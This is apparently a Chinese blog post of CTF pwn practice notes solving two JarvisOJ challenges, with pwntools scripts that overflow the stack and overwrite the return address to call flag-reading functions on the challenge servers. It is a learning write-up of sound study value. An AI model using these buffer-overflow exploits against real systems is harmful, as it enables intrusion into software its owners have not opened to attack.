pwn 练习笔记 暑假十一天

题目来自:https://www.jarvisoj.com/challenges

guestbook,一道特别简单的题

checksec查看:有个栈不可执行保护,没什么问题

IDA打开查看伪代码,先看main函数:

还看到调用了fopen和fgetc这样的函数,所以找了一下,发现good_game这个函数;

这个函数读取了flag.txt,这个函数的开始地址为0000000000400620

所以构造payload,把返回地址覆盖为这个函数的地址,就可以读取到flag

脚本如下

from pwn import *
sh = remote('pwn.jarvisoj.com',9876)
good_addr = 0x0000000000400620

payload = 'a'*136 +p64(good_addr)
sh.recvuntil("Input your message:\n")
sh.send(payload)
print sh.recv()

Test Your Memory

checksec查看:栈不可执行保护,其他没什么特别的

IDA打开:

设置了随机种子,要把字符串alphanum里面的随机三个字符,赋值给v5,再把v5作为mem_test函数的参数,查看mem_test

查看hint的内容

hint 是输出了字符串acatflag的地址(0x080487E0),acatflag的内容为‘cat flag’

然后发现有win_func函数,内容为

给win_func函数传的参数,会被当做命令执行,win_func的地址为0x080485BD

构造payload 覆盖返回地址为win_func的地址,然后把acatflag作为参数传进去

脚本如下

from pwn import *
sh = remote('pwn2.jarvisoj.com',9876)
sys_addr = 0x080485BD
cat_addr = 0x080487E0

payload = 'a'*23 +p32(sys_addr)+p32(0x08048662)+p32(cat_addr)#0x13+4=23
sh.sendline(payload)
sh.interactive()

未解之谜,为什么win_func的返回地址为正确地址是才会返回flag,不能像其他题一样,用一个不存在的地址

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值